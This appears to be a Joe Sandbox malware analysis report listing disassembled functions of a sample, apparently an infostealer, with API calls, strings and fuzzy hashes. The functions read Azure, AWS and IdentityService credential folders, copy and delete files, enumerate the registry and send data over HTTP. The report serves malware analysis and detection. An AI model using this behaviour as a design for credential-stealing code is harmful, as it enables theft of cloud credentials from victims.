API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: 974ef60541471f5251777ea60b144edf994a377a0aebfdf0e512de411ba153aa
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 974ef60541471f5251777ea60b144edf994a377a0aebfdf0e512de411ba153aa
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024E4A20,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 80f3b5ba9da17a652e14cf4d5229dca36dc21a3f3d02acdc161b99393af0e2b3
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 80f3b5ba9da17a652e14cf4d5229dca36dc21a3f3d02acdc161b99393af0e2b3
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,024E7FC0,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024E4A20,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 7681f62c76a153f68e55b198b31b4bdcb046fd2ab64b5a65ba49cfbffb3ed154
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 7681f62c76a153f68e55b198b31b4bdcb046fd2ab64b5a65ba49cfbffb3ed154
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,02506CD8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

memset.MSVCRT ref: 00414A0B

Strings

\.azure\, xrefs: 004148A1
*.*, xrefs: 004148B8
Azure\.IdentityService, xrefs: 004149CB
msal.cache, xrefs: 004149D0
\.aws\, xrefs: 0041492D
Azure\.aws, xrefs: 0041493F
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
*.*, xrefs: 00414944
Azure\.azure, xrefs: 004148B3
\.IdentityService\, xrefs: 004149B9

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-156850865
Opcode ID: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,0250BE58), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,0250BFD8), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,0250BF08,?,0250B6D0,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404A0D
------, xrefs: 00404B78
------, xrefs: 00404CB9
", xrefs: 00404C42
", xrefs: 00404D83

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: e8e3ac639a180a2193462cdd616153861071622b371d0a8d328dc4e5da759854
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: e8e3ac639a180a2193462cdd616153861071622b371d0a8d328dc4e5da759854
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,02506F48,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED
- , xrefs: 00418043
?, xrefs: 00417E1A

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 387138a2acaf9047d5f238e00edebe8a78cba1fcf6441e48f5509685d7ffdd98
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 387138a2acaf9047d5f238e00edebe8a78cba1fcf6441e48f5509685d7ffdd98
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,0250BE58), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,0250B6D0,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406457
ERROR, xrefs: 00406519

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: f3b98097e5e0f384b1902342b99ad1993feda62f21dbc400c84d5a874d7a36bf
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: f3b98097e5e0f384b1902342b99ad1993feda62f21dbc400c84d5a874d7a36bf
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024E4A20,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415116
ERROR, xrefs: 0041525D
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415329
ERROR, xrefs: 00415412
ERROR, xrefs: 00415173

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 53c0d387d700226d11633ba140bdf5a28658bb722894504da175286b8ed3d870
